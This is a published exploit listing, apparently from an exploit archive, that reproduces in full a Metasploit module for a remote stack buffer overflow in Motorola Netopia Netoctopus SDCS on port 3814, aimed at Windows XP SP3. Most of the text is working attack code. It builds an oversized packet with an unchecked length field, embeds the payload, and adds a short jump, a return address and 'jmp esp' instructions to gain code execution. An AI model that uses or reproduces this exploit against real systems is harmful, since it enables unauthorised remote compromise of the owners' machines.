Exploit the possiblities

Motorola Netopia Netoctopus SDCS Stack Buffer Overflow

Motorola Netopia Netoctopus SDCS Stack Buffer Overflow
Posted Sep 14, 2017
Authored by James Fitts | Site metasploit.com

This Metasploit module exploits a vulnerability within the code responsible for parsing client requests. When reading in a request from the network, a 32-bit integer is read in that specifies the number of bytes that follow. This value is not validated, and is then used to read data into a fixed-size stack buffer.

tags | exploit, overflow
MD5 | 3075bf3470fdaa19758f79291cc37b8a

Motorola Netopia Netoctopus SDCS Stack Buffer Overflow

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require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Motorola Netopia Netoctopus SDCS Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability within the code responsible for
parsing client requests. When reading in a request from the network,
a 32-bit integer is read in that specifies the number of bytes that
follow. This value is not validated, and is then used to read data into
a fixed-size stack buffer.
},
'Author' => [ 'James Fitts' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
'References' =>
[
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=851' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 500,
'DisableNops' => 'true',
'BadChars' => "",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN',
{
# pop ecx/ pop ecx/ retn
# msvcrt.dll
'Ret' => 0x0044e046,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 14 2008'))

register_options(
[
Opt::RPORT(3814)
], self.class )
end

def exploit
connect

p = payload.encoded

pkt = "\x41" * 600
pkt[0, 4] = [0x01000000].pack('V')
pkt[8, 4] = [0x01000000].pack('V')
pkt[12, 4] = [0x01000000].pack('V')
pkt[16, 4] = [0x03000000].pack('V') # this is the value mentioned above
pkt[20, 4] = [0x66000000].pack('V')
pkt[30, p.length] = p
pkt[545, 4] = "\xeb\x06\x90\x90"
pkt[549, 4] = [target.ret].pack('V')
pkt[558, 6] = "\x81\xc4\x34\x06\x00\x00" # add esp, 1588
pkt[564, 2] = "\xff\xe4" # jmp esp


print_status("Trying target %s..." % target.name)

sock.put(pkt)

handler
disconnect
end

end


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